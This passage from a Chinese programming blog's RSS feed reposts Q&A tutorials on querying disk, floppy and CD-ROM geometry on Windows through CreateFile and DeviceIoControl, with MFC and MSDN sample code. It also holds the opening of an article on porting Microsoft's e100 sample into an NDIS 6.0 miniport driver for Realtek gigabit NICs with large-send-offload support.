} TapeInfo;           <span class=rem>// 磁带信息</span>
} DeviceSpecific;
} DEVICE_MEDIA_INFO;
</code></pre>
<p class=bhw98>其中CD-ROM属于&#8220;可移动盘&#8221;的范围。请注意，GET_MEDIA_TYPES结构本身只定义了一条DEVICE_MEDIA_INFO，额外的DEVICE_MEDIA_INFO需要紧接此结构的另外的空间。
<p class=bhw98><strong class=bhw98>Q</strong> 调用方法我了解了，请用VC举个例子来实现我所期待已久的功能吧？
<p class=bhw98><strong class=bhw98>A</strong> 好，现在就演示一下如何取软盘/硬盘/光盘的参数。测试时，记得要有软盘/光盘插在驱动器里喔！
<p class=bhw98>首先，用MFC AppWizard生成一个单文档的应用程序，取名为DiskGeometry，让它的View基于CEditView。
<p class=bhw98>然后，添加以下的.h和.cpp文件。
<pre class=bhw98><code class=bhw98><span class=rem>//////////////////////////////////////////////////////////////////////////////
// GetDiskGeometry.h
//////////////////////////////////////////////////////////////////////////////</span>
<span class=key>#if</span> !<span class=key>defined</span>(GET_DISK_GEOMETRY_H__)
<span class=key>#define</span> GET_DISK_GEOMETRY_H__
<span class=key>#if</span> _MSC_VER &gt; <span class=num>1000</span>
<span class=key>#pragma once</span>
<span class=key>#endif</span> <span class=rem>// _MSC_VER &gt; 1000</span>
<span class=key>#include</span> <span class=str>&lt;winioctl.h&gt;</span>
BOOL GetDriveGeometry(<span class=key>const char</span>* filename, DISK_GEOMETRY *pdg);
<span class=key>#endif</span> <span class=rem>// !defined(GET_DISK_GEOMETRY_H__)</span>
<span class=rem>//////////////////////////////////////////////////////////////////////////////
// GetDiskGeometry.cpp
//////////////////////////////////////////////////////////////////////////////</span>
<span class=key>#include</span> <span class=str>"stdafx.h"</span>
<span class=key>#include</span> <span class=str>"GetDiskGeometry.h"</span>
<span class=rem>// IOCTL_STORAGE_GET_MEDIA_TYPES_EX可能返回不止一条DEVICE_MEDIA_INFO，故定义足够的空间</span>
<span class=key>#define</span> MEDIA_INFO_SIZE    <span class=key>sizeof</span>(GET_MEDIA_TYPES)+<span class=num>15</span>*<span class=key>sizeof</span>(DEVICE_MEDIA_INFO)
<span class=rem>// filename -- 用于设备的文件名
// pdg -- 参数缓冲区指针</span>
BOOL GetDriveGeometry(<span class=key>const char</span>* filename, DISK_GEOMETRY *pdg)
{
HANDLE hDevice;         <span class=rem>// 设备句柄</span>
BOOL bResult;           <span class=rem>// DeviceIoControl的返回结果</span>
GET_MEDIA_TYPES *pmt;   <span class=rem>// 内部用的输出缓冲区</span>
DWORD dwOutBytes;       <span class=rem>// 输出数据长度</span>
<span class=rem>// 打开设备</span>
hDevice = ::CreateFile(filename,           <span class=rem>// 文件名</span>
GENERIC_READ,                          <span class=rem>// 软驱需要读盘</span>
FILE_SHARE_READ | FILE_SHARE_WRITE,    <span class=rem>// 共享方式</span>
NULL,                                  <span class=rem>// 默认的安全描述符</span>
OPEN_EXISTING,                         <span class=rem>// 创建方式</span>
<span class=num>0</span>,                                     <span class=rem>// 不需设置文件属性</span>
NULL);                                 <span class=rem>// 不需参照模板文件</span>
<span class=key>if</span> (hDevice == INVALID_HANDLE_VALUE)
{
<span class=rem>// 设备无法打开...</span>
<span class=key>return</span> FALSE;
}
<span class=rem>// 用IOCTL_DISK_GET_DRIVE_GEOMETRY取磁盘参数</span>
bResult = ::DeviceIoControl(hDevice,       <span class=rem>// 设备句柄</span>
IOCTL_DISK_GET_DRIVE_GEOMETRY,         <span class=rem>// 取磁盘参数</span>
NULL, <span class=num>0</span>,                               <span class=rem>// 不需要输入数据</span>
pdg, sizeof(DISK_GEOMETRY),            <span class=rem>// 输出数据缓冲区</span>
&amp;dwOutBytes,                           <span class=rem>// 输出数据长度</span>
(LPOVERLAPPED)NULL);                   <span class=rem>// 用同步I/O</span>
<span class=rem>// 如果失败，再用IOCTL_STORAGE_GET_MEDIA_TYPES_EX取介质类型参数</span>
<span class=key>if</span> (!bResult)
{
pmt = (GET_MEDIA_TYPES *)<span class=key>new</span> BYTE[MEDIA_INFO_SIZE];
bResult = ::DeviceIoControl(hDevice,    <span class=rem>// 设备句柄</span>
IOCTL_STORAGE_GET_MEDIA_TYPES_EX,   <span class=rem>// 取介质类型参数</span>
NULL, <span class=num>0</span>,                            <span class=rem>// 不需要输入数据</span>
pmt, MEDIA_INFO_SIZE,               <span class=rem>// 输出数据缓冲区</span>
&amp;dwOutBytes,                        <span class=rem>// 输出数据长度</span>
(LPOVERLAPPED)NULL);                <span class=rem>// 用同步I/O</span>
<span class=key>if</span> (bResult)
{
<span class=rem>// 注意到结构DEVICE_MEDIA_INFO是在结构DISK_GEOMETRY的基础上扩充的
// 为简化程序，用memcpy代替如下多条赋值语句：
// pdg-&gt;MediaType = (MEDIA_TYPE)pmt-&gt;MediaInfo[0].DeviceSpecific.DiskInfo.MediaType;
// pdg-&gt;Cylinders = pmt-&gt;MediaInfo[0].DeviceSpecific.DiskInfo.Cylinders;
// pdg-&gt;TracksPerCylinder = pmt-&gt;MediaInfo[0].DeviceSpecific.DiskInfo.TracksPerCylinder;
// ... ...</span>
::memcpy(pdg, pmt-&gt;MediaInfo, <span class=key>sizeof</span>(DISK_GEOMETRY));
}
<span class=key>delete</span> pmt;
}
<span class=rem>// 关闭设备句柄</span>
::CloseHandle(hDevice);
<span class=key>return</span> (bResult);
}
</code></pre>
<p class=bhw98>然后，在Toolbar的IDR_MAINFRAME上添加一个按钮，ID为ID_GET_DISK_GEOMETRY。打开ClassWizard，在DiskGeometryView中
<p class=bhw98>添加ID_GET_DISK_GEOMETRY的映射函数OnGetDiskGeometry。打开DiskGeometryView.cpp，包含头文件GetDiskGeometry.h。
<p class=bhw98>在OnGetDiskGeometry中，添加以下代码
<pre class=bhw98><code class=bhw98>    <span class=key>const char</span> *szDevName[]=
{
<span class=str>"\\\\.\\A:"</span>,
<span class=str>"\\\\.\\B:"</span>,
<span class=str>"\\\\.\\PhysicalDrive0"</span>,
<span class=str>"\\\\.\\PhysicalDrive1"</span>,
<span class=str>"\\\\.\\PhysicalDrive2"</span>,
<span class=str>"\\\\.\\PhysicalDrive3"</span>,
<span class=str>"\\\\.\\Cdrom0"</span>,
<span class=str>"\\\\.\\Cdrom1"</span>,
};
DISK_GEOMETRY dg;
ULONGLONG DiskSize;
BOOL bResult;
CString strMsg;
CString strTmp;
<span class=key>for</span> (<span class=key>int</span> i = <span class=num>0</span>; i &lt; <span class=key>sizeof</span>(szDevName)/<span class=key>sizeof</span>(<span class=key>char</span>*); i++)
{
bResult = GetDriveGeometry(szDevName[i], &amp;dg);
strTmp.Format(<span class=str>"\r\n%s  result = %s\r\n"</span>, szDevName[i], bResult ? <span class=str>"success"</span> : <span class=str>"failure"</span>);
strMsg+=strTmp;
<span class=key>if</span> (!bResult) <span class=key>continue</span>;
strTmp.Format(<span class=str>"    Media Type = %d\r\n"</span>, dg.MediaType);
strMsg+=strTmp;
strTmp.Format(<span class=str>"    Cylinders = %I64d\r\n"</span>, dg.Cylinders);
strMsg+=strTmp;
strTmp.Format(<span class=str>"    Tracks per cylinder = %ld\r\n"</span>, (ULONG) dg.TracksPerCylinder);
strMsg+=strTmp;
strTmp.Format(<span class=str>"    Sectors per track = %ld\r\n"</span>, (ULONG) dg.SectorsPerTrack);
strMsg+=strTmp;
strTmp.Format(<span class=str>"    Bytes per sector = %ld\r\n"</span>, (ULONG) dg.BytesPerSector);
strMsg+=strTmp;
DiskSize = dg.Cylinders.QuadPart * (ULONG)dg.TracksPerCylinder *
(ULONG)dg.SectorsPerTrack * (ULONG)dg.BytesPerSector;
strTmp.Format(<span class=str>"    Disk size = %I64d (Bytes) = %I64d (Mb)\r\n"</span>, DiskSize, DiskSize / (<span class=num>1024</span> * <span class=num>1024</span>));
strMsg+=strTmp;
}
CEdit&amp; Edit = GetEditCtrl();
Edit.SetWindowText(strMsg);
</code></pre>
<p class=bhw98>最后，最后干什么呢？编译，运行...... </p>
<h2 class=bhw98>[相关资源]</h2>
<li class=bhw98>本文Demo源码：<a href="http://www.csdn.net/develop/author/bhw98/DiskGeometry.zip" s_oidt="0" s_oid="http://www.csdn.net/develop/author/bhw98/DiskGeometry.zip"><font color=#000080>DiskGeometry.zip</font></a> (21KB) </li>
</div>
<img src ="http://www.cppblog.com/iniwf/aggbug/79822.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cppblog.com/iniwf/" target="_blank">iniwf</a> 2009-04-13 21:03 <a href="http://www.cppblog.com/iniwf/archive/2009/04/13/79822.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>实战DeviceIoControl 之一：通过API访问设备驱动程序</title><link>http://www.cppblog.com/iniwf/archive/2009/04/13/79820.html</link><dc:creator>iniwf</dc:creator><author>iniwf</author><pubDate>Mon, 13 Apr 2009 13:01:00 GMT</pubDate><guid>http://www.cppblog.com/iniwf/archive/2009/04/13/79820.html</guid><wfw:comment>http://www.cppblog.com/iniwf/comments/79820.html</wfw:comment><comments>http://www.cppblog.com/iniwf/archive/2009/04/13/79820.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cppblog.com/iniwf/comments/commentRss/79820.html</wfw:commentRss><trackback:ping>http://www.cppblog.com/iniwf/services/trackbacks/79820.html</trackback:ping><description><![CDATA[转自<a href="http://www.cnblogs.com/henryzc/archive/2005/11/08/271905.html">http://www.cnblogs.com/henryzc/archive/2005/11/08/271905.html</a><br><br>
<div class=postText>
<p class=bhw98><strong class=bhw98>Q</strong> 在NT/2000/XP中，我想用VC编写应用程序访问硬件设备，如获取磁盘参数、读写绝对扇区数据、测试光驱实际速度等，该从哪里入手呢？
<p class=bhw98><strong class=bhw98>A</strong> 在NT/2000/XP中，应用程序可以通过API函数DeviceIoControl来实现对设备的访问—获取信息，发送命令，交换数据等。利用该接口函数向指定的设备驱动发送正确的控制码及数据，然后分析它的响应，就可以达到我们的目的。
<p class=bhw98>DeviceIoControl的函数原型为
<pre class=bhw98><code class=bhw98>BOOL DeviceIoControl(
HANDLE hDevice,              <span class=rem>// 设备句柄</span>
DWORD dwIoControlCode,       <span class=rem>// 控制码</span>
LPVOID lpInBuffer,           <span class=rem>// 输入数据缓冲区指针</span>
DWORD nInBufferSize,         <span class=rem>// 输入数据缓冲区长度</span>
LPVOID lpOutBuffer,          <span class=rem>// 输出数据缓冲区指针</span>
DWORD nOutBufferSize,        <span class=rem>// 输出数据缓冲区长度</span>
LPDWORD lpBytesReturned,     <span class=rem>// 输出数据实际长度单元长度</span>
LPOVERLAPPED lpOverlapped    <span class=rem>// 重叠操作结构指针</span>
);
</code></pre>
<p class=bhw98>设备句柄用来标识你所访问的设备。
<p class=bhw98>发送不同的控制码，可以调用设备驱动程序的不同类型的功能。在头文件winioctl.h中，预定义的标准设备控制码，都以IOCTL或FSCTL开头。例如，IOCTL_DISK_GET_DRIVE_GEOMETRY是对物理驱动器取结构参数（介质类型、柱面数、每柱面磁道数、每磁道扇区数等）的控制码，FSCTL_LOCK_VOLUME是对逻辑驱动器的卷加锁的控制码。
<p class=bhw98>输入输出数据缓冲区是否需要，是何种结构，以及占多少字节空间，完全由不同设备的不同操作类型决定。在头文件winioctl.h中，已经为标准设备预定义了一些输入输出数据结构。重叠操作结构指针设置为NULL，DeviceIoControl将进行阻塞调用；否则，应在编程时按异步操作设计。
<p class=bhw98><strong class=bhw98>Q</strong> 设备句柄是从哪里获得的？
<p class=bhw98><strong class=bhw98>A</strong> 设备句柄可以用API函数CreateFile获得。它的原型为
<pre class=bhw98><code class=bhw98>HANDLE CreateFile(
LPCTSTR lpFileName,                         <span class=rem>// 文件名/设备路径</span>
DWORD dwDesiredAccess,                      <span class=rem>// 访问方式</span>
DWORD dwShareMode,                          <span class=rem>// 共享方式</span>
LPSECURITY_ATTRIBUTES lpSecurityAttributes, <span class=rem>// 安全描述符指针</span>
DWORD dwCreationDisposition,                <span class=rem>// 创建方式</span>
DWORD dwFlagsAndAttributes,                 <span class=rem>// 文件属性及标志</span>
HANDLE hTemplateFile                        <span class=rem>// 模板文件的句柄</span>
);
</code></pre>
<p class=bhw98>CreateFile这个函数用处很多，这里我们用它&#8220;打开&#8221;设备驱动程序，得到设备的句柄。操作完成后用CloseHandle关闭设备句柄。
<p class=bhw98>与普通文件名有所不同，设备驱动的&#8220;文件名&#8221;(常称为&#8220;设备路径&#8221;)形式固定为&#8220;\\.\DeviceName&#8221;(注意在C程序中该字符串写法为&#8220;\\\\.\\DeviceName&#8221;)，DeviceName必须与设备驱动程序内定义的设备名称一致。
<p class=bhw98>一般地，调用CreateFile获得设备句柄时，访问方式参数设置为0或GENERIC_READ|GENERIC_WRITE，共享方式参数设置为FILE_SHARE_READ|FILE_SHARE_WRITE，创建方式参数设置为OPEN_EXISTING，其它参数设置为0或NULL。
<p class=bhw98><strong class=bhw98>Q</strong> 可是，我怎么知道设备名称是什么呢？
<p class=bhw98><strong class=bhw98>A</strong> 一些存储设备的名称是微软定义好的，不可能有什么变化。大体列出如下
<table class=bhw98 align=center>
    <tbody>
        <tr>
            <td class=bhw98>软盘驱动器
            <td class=bhw98>A:, B:
            <tr>
                <td class=bhw98>硬盘逻辑分区
                <td class=bhw98>C:, D:, E:, ...
                <tr>
                    <td class=bhw98>物理驱动器
                    <td class=bhw98>PHYSICALDRIVEx
                    <tr>
                        <td class=bhw98>CD-ROM, DVD/ROM
                        <td class=bhw98>CDROMx
                        <tr>
                            <td class=bhw98>磁带机
                            <td class=bhw98>TAPEx </td>
                        </tr>
                    </tbody>
                </table>
                <p class=bhw98>其中，物理驱动器不包括软驱和光驱。逻辑驱动器可以是IDE/SCSI/PCMCIA/USB接口的硬盘分区（卷）、光驱、MO、CF卡等，甚至是虚拟盘。x=0，1，2 &#8230;&#8230;
                <p class=bhw98>其它的设备名称需通过驱动接口的GUID调用设备管理函数族取得，这里暂不讨论。
                <p class=bhw98><strong class=bhw98>Q</strong> 请举一个简单的例子说明如何通过DeviceIoControl访问设备驱动程序。
                <p class=bhw98><strong class=bhw98>A</strong> 这里有一个从MSDN上摘抄来的demo程序，演示在NT/2000/XP中如何通过DeviceIoControl获取硬盘的基本参数。
                <pre class=bhw98><code class=bhw98><span class=rem>/* The code of interest is in the subroutine GetDriveGeometry. The
                code in main shows how to interpret the results of the IOCTL call. */</span>
                <span class=key>#include</span> <span class=str>&lt;windows.h&gt;</span>
                <span class=key>#include</span> <span class=str>&lt;winioctl.h&gt;</span>
                BOOL GetDriveGeometry(DISK_GEOMETRY *pdg)
                {
                HANDLE hDevice;               <span class=rem>// handle to the drive to be examined</span>
                BOOL bResult;                 <span class=rem>// results flag</span>
                DWORD junk;                   <span class=rem>// discard results</span>
                hDevice = CreateFile(<span class=str>"\\\\.\\PhysicalDrive0"</span>,  <span class=rem>// drive to open</span>
                <span class=num>0</span>,                <span class=rem>// no access to the drive</span>
                FILE_SHARE_READ | <span class=rem>// share mode</span>
                FILE_SHARE_WRITE,
                NULL,             <span class=rem>// default security attributes</span>
                OPEN_EXISTING,    <span class=rem>// disposition</span>
                <span class=num>0</span>,                <span class=rem>// file attributes</span>
                NULL);            <span class=rem>// do not copy file attributes</span>
                <span class=key>if</span> (hDevice == INVALID_HANDLE_VALUE) <span class=rem>// cannot open the drive</span>
                {
                <span class=key>return</span> (FALSE);
                }
                bResult = DeviceIoControl(hDevice,     <span class=rem>// device to be queried</span>
                IOCTL_DISK_GET_DRIVE_GEOMETRY,     <span class=rem>// operation to perform</span>
                NULL, <span class=num>0</span>,               <span class=rem>// no input buffer</span>
                pdg, <span class=key>sizeof</span>(*pdg),     <span class=rem>// output buffer</span>
                &amp;junk,                 <span class=rem>// # bytes returned</span>
                (LPOVERLAPPED) NULL);  <span class=rem>// synchronous I/O</span>
                CloseHandle(hDevice);
                <span class=key>return</span> (bResult);
                }
                <span class=key>int</span> main(<span class=key>int</span> argc, <span class=key>char</span> *argv[])
                {
                DISK_GEOMETRY pdg;            <span class=rem>// disk drive geometry structure</span>
                BOOL bResult;                 <span class=rem>// generic results flag</span>
                ULONGLONG DiskSize;           <span class=rem>// size of the drive, in bytes</span>
                bResult = GetDriveGeometry (&amp;pdg);
                <span class=key>if</span> (bResult)
                {
                printf(<span class=str>"Cylinders = %I64d\n"</span>, pdg.Cylinders);
                printf(<span class=str>"Tracks per cylinder = %ld\n"</span>, (ULONG) pdg.TracksPerCylinder);
                printf(<span class=str>"Sectors per track = %ld\n"</span>, (ULONG) pdg.SectorsPerTrack);
                printf(<span class=str>"Bytes per sector = %ld\n"</span>, (ULONG) pdg.BytesPerSector);
                DiskSize = pdg.Cylinders.QuadPart * (ULONG)pdg.TracksPerCylinder *
                (ULONG)pdg.SectorsPerTrack * (ULONG)pdg.BytesPerSector;
                printf(<span class=str>"Disk size = %I64d (Bytes) = %I64d (Mb)\n"</span>, DiskSize,
                DiskSize / (<span class=num>1024</span> * <span class=num>1024</span>));
                }
                <span class=key>else</span>
                {
                printf(<span class=str>"GetDriveGeometry failed. Error %ld.\n"</span>, GetLastError());
                }
                <span class=key>return</span> ((<span class=key>int</span>)bResult);
                }
                </code></pre>
                <p class=bhw98><strong class=bhw98>Q</strong> 如果将设备名换成&#8220;A:&#8221;就可以取A盘参数，换成&#8220;CDROM0&#8221;就可以取CDROM参数，是这样吗？
                <p class=bhw98><strong class=bhw98>A</strong> 这个问题暂不做回答。请动手试一下。
                <p class=bhw98>现在我们总结一下通过DeviceIoControl访问设备驱动程序的&#8220;三步曲&#8221;：首先用CreateFile取得设备句柄，然后用DeviceIoControl与设备进行I/O，最后别忘记用CloseHandle关闭设备句柄。 </p>
                </div>
<img src ="http://www.cppblog.com/iniwf/aggbug/79820.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cppblog.com/iniwf/" target="_blank">iniwf</a> 2009-04-13 21:01 <a href="http://www.cppblog.com/iniwf/archive/2009/04/13/79820.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>NDIS sample - 6.0 miniport driver for realtek 8168/8169/8111/8110 </title><link>http://www.cppblog.com/iniwf/archive/2009/04/12/79649.html</link><dc:creator>iniwf</dc:creator><author>iniwf</author><pubDate>Sat, 11 Apr 2009 16:15:00 GMT</pubDate><guid>http://www.cppblog.com/iniwf/archive/2009/04/12/79649.html</guid><wfw:comment>http://www.cppblog.com/iniwf/comments/79649.html</wfw:comment><comments>http://www.cppblog.com/iniwf/archive/2009/04/12/79649.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cppblog.com/iniwf/comments/commentRss/79649.html</wfw:commentRss><trackback:ping>http://www.cppblog.com/iniwf/services/trackbacks/79649.html</trackback:ping><description><![CDATA[转自<a href="http://www.codeproject.com/KB/system/NDIS_6.0_miniport__driver.aspx">http://www.codeproject.com/KB/system/NDIS_6.0_miniport__driver.aspx</a><br><br>
<ul class=Download>
    <li>
    <h6><a href="http://www.codeproject.com/KB/system/NDIS_6.0_miniport__driver/release.zip">Download release - 342.43 KB</a> </h6>
    </li>
</ul>
<h6><a href="http://www.codeproject.com/KB/system/NDIS_6.0_miniport__driver/LSO-jumbo.support-added.zip">Download LSO-jumbo.support-added.zip - 91.88 KB </a></h6>
<h6><a href="http://www.codeproject.com/KB/system/NDIS_6.0_miniport__driver/PM-support-added.zip">Download PM-support-added.zip - 91.65 KB </a></h6>
<h2>Introduction</h2>
<p>For those who aspire to write an NDIS 6.0 miniport windows ( Desktop PFs ) device driver for a new or existing ethernet controller, the only sample source code available is the E100BEX found in the Microsoft DDK. There are a couple of other type of NDIS drivers like IM available in the net, but not any miniport drivers for a NIC, AFAIK.</p>
<p>The E100BEX sample, hereafter referred to as e100, is for the intel line of etherexpress 100Mbs NIC cards. So if one wants to understand this e100 by live debugging, apart from static code analysis, he/she has to have this type of card, which is rarely found nowadays IMO.</p>
<p>So, I thought, why not write an NDIS 6 driver for a different popular ethernet controller easily found nowadays. I chose the Realtek family of gigabit ethernet controllers 8111/8168/8169/8110 found as a PCI card cheaply around $9 ( brands like hawkings, startech )and also as LOM ( Lan On Motherboard ) in many of the modern motherboards. </p>
<h2>Background</h2>
<p>The approach I took was -- Instead of starting from scratch, port the Microsoft DDK sample e100, from intel to realtek h/w. <br>The benefit is -- The well tested e100 core and NDIS-related logic, the various state-machines, various synchronization mechanisms are ALL retained and only the h/w portions are changed. </p>
<p>Well, easier said than done. For one thing, though e100 is well designed/written, somehow I feel, the NDIS code seems to be tightly coupled with the h/w related code. Understandable from a performance point of view. Other, the intel h/w and drivers are designed to work mostly on linked-list data structures shared between host and device, whereas the realtek h/w seems to be ARRAY oriented. So, the challenge is to adapt e100 meant for linked-lists to array oriented, without changing any of the original code's logic flow. </p>
<h2>About the sample</h2>
<p>About the driver<br>----------------<br>DDK build 6001, e100 sample was used as the baseline. Later some portions from the windows 2008 server DDK e100 sample were taken and merged to fix a SEND issue. More on this later.</p>
<p>Code workings<br>-------------<br>I hope the ample comments found in the original e100 and my own added comments should be sufficient to explain things. Still as i get more time, i will keep adding more and more to this section.<br>The original e100bex.htm may be a starting point</p>
<p>BUILD instructions<br>------------------<br>* DDK build 6000 was used. A straight forward command-line "build -cZ" will do. No batch files</p>
<p>INSTALL instructions<br>---------------------<br>The standard unsigned-driver installation way, using the provided RLTK1GIG.INF file</p>
<p>Still for newbies -- Go to DM, select the realtek network device and right click option "update driver". Keep going to the end the manual way, w/o letting the wizard take control of the process anytime.</p>
<p>Test results<br>-------------<br>* The driver was tested under VISTA32 free version, under heavy network load/stress conditions. It performed well without any crashes for hours together continuosly. I wish i could test more rigorously with sophisticated test tools and in a chatty network environment, but since i dont have them, hope somebody will provide such test results later to this forum. I also wish i could use "NDISTEST" from Microsoft WLK ( older term - HCT ) but unfortunately as many know the DTM controller can only be run on server 2003. Why microsoft made it this way, effectively alienating the smaller/individual/non-corporate device driver developers, is anybody's guess.</p>
<p>* I tested this driver for the popular 2 of the realtek family of gigabit ethernet controllers. One, a hawkings PCI card having realtek 8169s and the other, a GIGABYTE-G33 board which has a realtek 8111b as LOM. SUCCESS. NO known issues so far.<br>NOTE - I tested for both 100M and 1G links.</p>
<p>Disclaimer<br>----------<br>Obviously this cannot be used for production environments. Just for informational and learning purposes. This author is not responsible for any of the consequences of using this code by anybody</p>
<p>Future and feature additions planned<br>--------------------------------------<br>* VLAN</p>
<p><br>Known issues<br>------------<br>None so far.</p>
<p>misc notes<br>----------<br>* 64-bit readiness -- This code compiles for 64-bit though i havent tested in VISTA64. I will keep you posted of the results when i do that.</p>
<p><strong><em>UPDATE</em></strong> : 64-bit driver works fine in vista64. But, this INF file, i have to modify for both 32 &amp; 64 PFs, in the future. So, time being replace the 32-bit rltkgbit.sys w/ 64-bit rltkgbit.sys, before installation and use the same INF file.</p>
<p>* The realtek h/w datasheet used to create this driver can be found on the internet. It can also be obtained from realtek w/ a simple email. I got one from realtek with the simple message "...you should not reveal to others..." No complicated NDAs, just a simple assurance to them that you will not make it public w/o their permission.</p>
<p>Otherwise the realtek 8139 data sheet available here</p>
<p><a href="http://www.datasheet4u.com/html/R/T/L/RTL8139DL_RealtekMicroelectronics.pdf.html">http://www.datasheet4u.com/html/R/T/L/RTL8139DL_RealtekMicroelectronics.pdf.html</a> comes close to understanding this sample, atleast for send/receive operations.</p>
<h2>UPDATE</h2>
<p><br>For all these new UPDATES I switched to the latest W2008Server 6001.18000 DDK</p>
<h4>Large-Send-Offload ( LSO ) support added</h4>
<p>LSO, also referred to as Task-send-ofload ( TSO ). All the relevant code can be found under the conditional compilation <strong>directive #if OFFLOAD</strong></p>
<p>Steps needed</p>
<p>Step 1. </p>
<p>NdisMSetMiniportAttributes(.,.,.) MUST be done by initializing a NDIS_TCP_LARGE_SEND_OFFLOAD_V1 structure. This is done in MPInitialize ( .,.,.) through InitLSO ( Adapter ) ;</p>
<div class=SmallText id=premain0 style="WIDTH: 100%"><img id=preimg0 style="CURSOR: pointer" height=9 src="http://www.codeproject.com/images/minus.gif" width=9 preid="0"><span id=precollapse0 style="MARGIN-BOTTOM: 0px; CURSOR: pointer" preid="0"> Collapse</span><img style="MARGIN-LEFT: 35px" height=16 src="http://www.codeproject.com/images/copy_16.png" width=16><a href="http://www.codeproject.com/KB/system/NDIS_6.0_miniport__driver.aspx#" preid="0"> Copy Code</a></div>
<pre id=pre0 style="MARGIN-TOP: 0px"> <span class=code-comment>/*</span><span class=code-comment>** Initialize NDIS_OFFLOAD ****/</span>
NdisZeroMemory( NdisOffload,
<span class=code-keyword>sizeof</span>(NDIS_OFFLOAD));
NdisOffload-<span class=code-keyword>&gt;</span>Header.Type = NDIS_OBJECT_TYPE_OFFLOAD ;
NdisOffload-<span class=code-keyword>&gt;</span>Header.Revision = NDIS_OFFLOAD_REVISION_1 ;
NdisOffload-<span class=code-keyword>&gt;</span>Header.Size = <span class=code-keyword>sizeof</span>(NDIS_OFFLOAD);
<span class=code-comment>//</span>
<span class=code-comment>//</span><span class=code-comment> Initialize the NDIS_TCP_LARGE_SEND_OFFLOAD_V1 structure</span>
<span class=code-comment>//</span><span class=code-comment> embedded in NDIS_OFFLOAD </span>
<span class=code-comment>//</span>
LsoV1-<span class=code-keyword>&gt;</span>IPv4.Encapsulation = NDIS_ENCAPSULATION_IEEE_802_3 ;
LsoV1-<span class=code-keyword>&gt;</span>IPv4.MaxOffLoadSize = MP_MAX_TCP_OFFLOAD_SIZE ;
LsoV1-<span class=code-keyword>&gt;</span>IPv4.MinSegmentCount = TCP_OFFLOAD_MIN_SEGMENTS ;
LsoV1-<span class=code-keyword>&gt;</span>IPv4.TcpOptions = NDIS_OFFLOAD_SUPPORTED ;
LsoV1-<span class=code-keyword>&gt;</span>IPv4.IpOptions = NDIS_OFFLOAD_SUPPORTED ;
<span class=code-comment>//</span>
<span class=code-comment>/*</span><span class=code-comment>** Initialize NDIS_MINIPORT_ADAPTER_OFFLOAD_ATTRIBUTES ****/</span>
<span class=code-comment>//</span>
NdisZeroMemory (
&amp;OffloadAttributes,
<span class=code-keyword>sizeof</span>(NDIS_MINIPORT_ADAPTER_OFFLOAD_ATTRIBUTES)
);
OffloadAttributes.Header.Type =
NDIS_OBJECT_TYPE_MINIPORT_ADAPTER_OFFLOAD_ATTRIBUTES ;
OffloadAttributes.Header.Revision =
NDIS_MINIPORT_ADAPTER_OFFLOAD_ATTRIBUTES_REVISION_1 ;
OffloadAttributes.Header.Size =
NDIS_SIZEOF_MINIPORT_ADAPTER_OFFLOAD_ATTRIBUTES_REVISION_1 ;
OffloadAttributes.HardwareOffloadCapabilities =
OffloadAttributes.DefaultOffloadConfiguration = NdisOffload ;
status = NdisMSetMiniportAttributes( Adapter-<span class=code-keyword>&gt;</span>AdapterHandle,
(PNDIS_MINIPORT_ADAPTER_ATTRIBUTES)&amp;OffloadAttributes);</pre>
<p><br>Step 2. </p>
<p>Support OID_OFFLOAD_ENCAPSULATION<br>* If we dont return NDIS_STATUS_SUCCESS, we will not get any BIG packets from NDIS to be LSO-ed. </p>
<p>Here is the code</p>
<div class=SmallText id=premain1 style="WIDTH: 100%"><img id=preimg1 style="CURSOR: pointer" height=9 src="http://www.codeproject.com/images/minus.gif" width=9 preid="1"><span id=precollapse1 style="MARGIN-BOTTOM: 0px; CURSOR: pointer" preid="1"> Collapse</span><img style="MARGIN-LEFT: 35px" height=16 src="http://www.codeproject.com/images/copy_16.png" width=16><a href="http://www.codeproject.com/KB/system/NDIS_6.0_miniport__driver.aspx#" preid="1"> Copy Code</a></div>
<pre id=pre1 style="MARGIN-TOP: 0px"><span class=code-preprocessor>#if</span> OFFLOAD
<span class=code-keyword>case</span> OID_OFFLOAD_ENCAPSULATION :
{
PNDIS_OFFLOAD_ENCAPSULATION Encap ;
<span class=code-comment>//</span>
<span class=code-comment>//</span><span class=code-comment> Verify the length</span>
<span class=code-comment>//</span>
<span class=code-keyword>if</span> (InformationBufferLength <span class=code-keyword>&lt;</span> <span class=code-keyword>sizeof</span>(NDIS_OFFLOAD_ENCAPSULATION) )
{
<span class=code-keyword>return</span>(NDIS_STATUS_INVALID_LENGTH);
}
Encap = (PNDIS_OFFLOAD_ENCAPSULATION)InformationBuffer ;
Adapter-<span class=code-keyword>&gt;</span>NdisOffloadEncapSulation = Encap-<span class=code-keyword>&gt;</span>IPv4.Enabled ;
<span class=code-keyword>if</span> ( NDIS_OFFLOAD_SET_ON == Encap-<span class=code-keyword>&gt;</span>IPv4.Enabled )
Encap-<span class=code-keyword>&gt;</span>IPv4.EncapsulationType = NDIS_ENCAPSULATION_IEEE_802_3 ;
Status = NDIS_STATUS_SUCCESS ;
BytesRead = InformationBufferLength;
<span class=code-keyword>break</span> ;
}
<span class=code-preprocessor>#endif</span>
<span class=code-preprocessor>#if</span> OFFLOAD</pre>
<p><br>Step 3.</p>
<p>When NDIS calls MPSendNetBufferLists ( .,.,..) to send NBL, use the SCRATCH area in the NBL to store some context info about the LSO.<br>Here is the code</p>
<div class=SmallText id=premain2 style="WIDTH: 100%"><img id=preimg2 style="CURSOR: pointer" height=9 src="http://www.codeproject.com/images/minus.gif" width=9 preid="2"><span id=precollapse2 style="MARGIN-BOTTOM: 0px; CURSOR: pointer" preid="2"> Collapse</span><img style="MARGIN-LEFT: 35px" height=16 src="http://www.codeproject.com/images/copy_16.png" width=16><a href="http://www.codeproject.com/KB/system/NDIS_6.0_miniport__driver.aspx#" preid="2"> Copy Code</a></div>
<pre id=pre2 style="MARGIN-TOP: 0px"><span class=code-comment>//</span><span class=code-comment> and initialize some LSO related fields there</span>
MoveLSOinfoFromNBLtoContext ( Adapter, CurrNetBufferList )</pre>
<p>This function retrieves 2 main items from the NBL ; MSS and TcpHeaderOffset and saves them in a private context area ( NBL-&gt;SCRATCH )</p>
